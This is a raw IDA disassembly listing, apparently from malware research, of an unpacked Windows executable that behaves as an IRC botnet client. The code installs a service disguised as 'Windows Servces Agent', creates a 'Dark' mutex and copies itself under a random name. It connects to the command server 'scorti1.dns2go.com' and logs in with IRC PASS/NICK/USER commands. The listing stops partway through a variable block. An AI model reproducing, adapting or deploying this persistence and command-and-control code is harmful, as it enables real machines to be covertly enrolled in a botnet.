;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	9CB3D4378C67505EAB61BA27EA4DDE1A

; File Name   :	u:\work\9cb3d4378c67505eab61ba27ea4dde1a_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DD000 ( 905216.)
; Section size in file		: 000DD000 ( 905216.)
; Offset to raw	data for section: 00001000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
___		segment	para public 'DATA' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00401579p
					; sub_418359+1Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindowsServces ; "Windows Servces Agent"

loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4CAF28
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CAF98
		jmp	short loc_401057
; ---------------------------------------------------------------------------

loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4CAED8

loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4CAF50
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh

loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427238[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx

loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:00416643p

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41B4D5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA

loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41B202
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41B11A
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------

loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------

loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41B0B1
		push	edi
		call	sub_41B05B
		add	esp, 10h
		mov	eax, ebx

loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: ___:00401235o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43DEBC
		call	dword_4CB00C
		call	sub_40B2BF
		call	dword_4CAECC
		call	dword_4CAECC
		mov	ebx, dword_427078
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset dword_43D128
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		nop
		call	near ptr 2670A7Ah
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		nop
		call	near ptr 2670000h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		nop
		call	near ptr 2660C61h
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_427068
		call	esi
		push	[ebp+var_C]
		call	esi

loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43D120
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		nop
		call	near ptr 77E75CB5h
		pop	edi
		pop	esi
		pop	ebx

loc_401205:				; DATA XREF: ___:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418684
		pop	ecx
		mov	dword_4CACB0, eax
		pop	ecx
		retn
sub_40111D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40111D
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270A8
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CACB4, eax
		call	esi
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_409B12
		push	2
		call	dword_4CB020
		push	7530h
		push	offset aDark	; "Dark"
		push	ebx
		push	ebx
		nop
		call	near ptr 26900F6h
		push	eax
		call	near ptr 2690000h
		nop
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		nop
		call	near ptr 77E75CB5h

loc_4012A1:				; CODE XREF: ___:00401297j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4CAEE4
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		call	near ptr 2670A7Ah
		nop
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		call	near ptr 2680DD9h
		nop
		push	eax
		nop
		call	near ptr 2670000h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_41B9D1
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset dword_4293C4
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_41B900
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_429108
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C

loc_401379:				; CODE XREF: ___:0040139Aj
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_429108[edi], dl
		inc	edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379

loc_40139C:				; CODE XREF: ___:00401369j
					; ___:00401377j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_4293BC
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 2680CF2h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		nop
		call	near ptr 2680C20h

loc_4013DC:				; CODE XREF: ___:004013C8j
		mov	esi, dword_427090
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax

loc_4013F3:				; CODE XREF: ___:0040142Aj
		call	esi
		test	eax, eax
		jnz	short loc_40142C
		nop
		call	near ptr 2680835h
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C

loc_40140D:				; CODE XREF: ___:00401406j
		push	1
		pop	edi
		push	3A98h
		call	near ptr 2670EA1h
		nop
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------

loc_40142C:				; CODE XREF: ___:004013F7j
					; ___:00401401j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_418293
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		nop
		call	near ptr 2680C20h
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset dword_43D128
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		nop
		call	near ptr 26807F7h
		push	eax
		push	esi
		push	100000h
		nop
		call	near ptr 2680218h
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_4293B0
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 2660C61h
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		nop
		call	near ptr 2670EA1h
		push	dword ptr [ebp-20h]
		mov	esi, dword_427068
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4CAECC
		push	ebx
		nop
		call	near ptr 77E75CB5h

loc_401516:				; CODE XREF: ___:00401358j
					; ___:004014ECj
		cmp	dword_4DB294, 2
		jle	short loc_401562
		mov	eax, dword_4DB298
		push	dword ptr [eax+4]
		call	sub_41B779
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		nop
		call	near ptr 2690000h
		push	esi
		nop
		call	near ptr 2660969h
		mov	eax, dword_4DB298
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		nop
		call	near ptr 2670EA1h
		mov	eax, dword_4DB298
		push	dword ptr [eax+8]
		nop
		call	near ptr 2680184h

loc_401562:				; CODE XREF: ___:0040151Dj
					; ___:00401547j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4CB044, ebx
		jnz	short loc_40157F
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx

loc_40157F:				; CODE XREF: ___:00401568j
					; ___:00401570j
		lea	eax, [ebp-0A0h]
		push	offset dword_429394
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_40B0F6
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		push	0B80h
		push	ebx
		push	offset dword_43D130
		call	sub_41B590
		add	esp, 24h
		lea	eax, [ebp-0A0h]
		push	offset unk_429370
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_42707C
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset dword_419A00
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[esi], eax
		jnz	short loc_401622
		call	near ptr 2680835h
		nop
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_429330
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_401622:				; CODE XREF: ___:00401605j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		push	2
		call	sub_40B33E
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp-0A0h]
		push	offset dword_429304
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FC
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[esi], eax
		jnz	short loc_40169A
		nop
		call	near ptr 2680835h
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_4292D0
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40169A:				; CODE XREF: ___:0040167Dj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_4016A7:				; CODE XREF: ___:00401639j
		call	sub_41B8E2
		push	7Fh
		and	eax, 3
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		push	offset dword_4CACBC
		mov	dword_4CAE28, eax
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4CAD3C
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CAE0C, eax
		call	sub_41B5F0
		push	3Fh
		mov	esi, offset dword_4CAD7C
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword_4CAE10, ebx

loc_4016FC:				; CODE XREF: ___:00401784j
					; ___:0040178Fj ...
		mov	[ebp-4], ebx

loc_4016FF:				; CODE XREF: ___:00401738j
		push	offset dword_4CACB8
		mov	dword_4CAE24, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_4017D9
		cmp	dword_4CAE24, ebx
		jz	short loc_401726
		dec	dword ptr [ebp-4]

loc_401726:				; CODE XREF: ___:00401721j
		push	0BB8h
		call	near ptr 2670EA1h
		nop
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_4016FF
		cmp	dword ptr [ebp-10h], 2
		jz	loc_4017D9
		cmp	[ebp-0Ch], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		push	offset dword_4CACBC
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CAE0C, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------

loc_401789:				; CODE XREF: ___:00401747j
		cmp	byte_4290E4, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290E4
		push	offset dword_4CACBC
		call	sub_41B5F0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4CAE0C, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------

loc_4017D9:				; CODE XREF: ___:00401715j
					; ___:0040173Ej
		call	sub_40B2BF

loc_4017DE:				; CODE XREF: ___:004012C2j
					; ___:004012D2j
		call	dword_4CAECC

loc_4017E4:				; CODE XREF: ___:004012B5j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: ___:0040170Ap
					; DATA XREF: sub_401ACD+662Ao

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1

loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CAF74
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40AAF9
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40B08D
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43DEC8
		push	edi
		push	eax
		call	sub_41B5F0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CAFF4
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43DEBC[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4CB00C
		call	sub_40AB22
		push	7D0h

loc_4018CD:				; CODE XREF: sub_4017ED+146j
		call	near ptr 2670EA1h
		nop
		jmp	loc_401812
; ---------------------------------------------------------------------------

loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_4293CC
		call	sub_415220
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CB00C
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------

loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------

loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------

loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	2
		pop	eax

loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx

loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4CAE20, bl
		jz	short loc_40199A
		push	offset byte_4CAE20
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409A2C
		add	esp, 0Ch

loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4CB00C
		push	1388h
		nop
		call	near ptr 2670EA1h

loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax

loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF8C
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_417F7F
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]

loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi

loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		nop
		call	near ptr 2670EA1h
		jmp	short loc_401A58
; ---------------------------------------------------------------------------

loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------

loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------

loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2

loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_5D88	= byte ptr -5D88h
var_5988	= byte ptr -5988h
var_5588	= byte ptr -5588h
var_53F8	= byte ptr -53F8h
var_51F8	= byte ptr -51F8h
var_50F4	= byte ptr -50F4h
var_4FF4	= byte ptr -4FF4h
var_4EF0	= byte ptr -4EF0h
var_4DF0	= byte ptr -4DF0h
var_4CF0	= byte ptr -4CF0h
var_4BF0	= byte ptr -4BF0h
var_4AF0	= byte ptr -4AF0h
var_48F0	= byte ptr -48F0h
var_47EC	= byte ptr -47ECh
var_46EC	= byte ptr -46ECh
var_45EC	= byte ptr -45ECh
var_4588	= byte ptr -4588h
var_4488	= byte ptr -4488h
var_4288	= byte ptr -4288h
var_4188	= byte ptr -4188h
var_4088	= byte ptr -4088h
var_3F88	= dword	ptr -3F88h
var_3F84	= byte ptr -3F84h
var_3F04	= byte ptr -3F04h
var_3E00	= byte ptr -3E00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= dword	ptr -3CE8h
var_3CE4	= byte ptr -3CE4h
var_3C64	= byte ptr -3C64h
var_3BE4	= byte ptr -3BE4h
var_3B64	= byte ptr -3B64h
var_3AE4	= byte ptr -3AE4h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= dword	ptr -3A58h
var_3A54	= byte ptr -3A54h
var_37CD	= byte ptr -37CDh
var_37CC	= byte ptr -37CCh
var_36C8	= dword	ptr -36C8h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B4	= dword	ptr -36B4h
var_36AC	= dword	ptr -36ACh
var_36A8	= dword	ptr -36A8h
var_36A4	= byte ptr -36A4h
var_3624	= byte ptr -3624h
var_35A4	= byte ptr -35A4h
var_3524	= byte ptr -3524h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= dword	ptr -3494h
var_3490	= byte ptr -3490h
var_3410	= byte ptr -3410h
var_3390	= byte ptr -3390h
var_3310	= byte ptr -3310h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= dword	ptr -3280h
var_327C	= byte ptr -327Ch
var_31FC	= byte ptr -31FCh
var_317C	= byte ptr -317Ch
var_30FC	= byte ptr -30FCh
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= dword	ptr -306Ch
var_3068	= byte ptr -3068h
var_2FE8	= byte ptr -2FE8h
var_2F68	= byte ptr -2F68h
var_2EE8	= byte ptr -2EE8h
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= dword	ptr -2E5Ch
var_2E58	= byte ptr -2E58h
var_2D54	= dword	ptr -2D54h
var_2D50	= byte ptr -2D50h
var_2C4C	= byte ptr -2C4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= dword	ptr -2B40h
var_2B3C	= byte ptr -2B3Ch
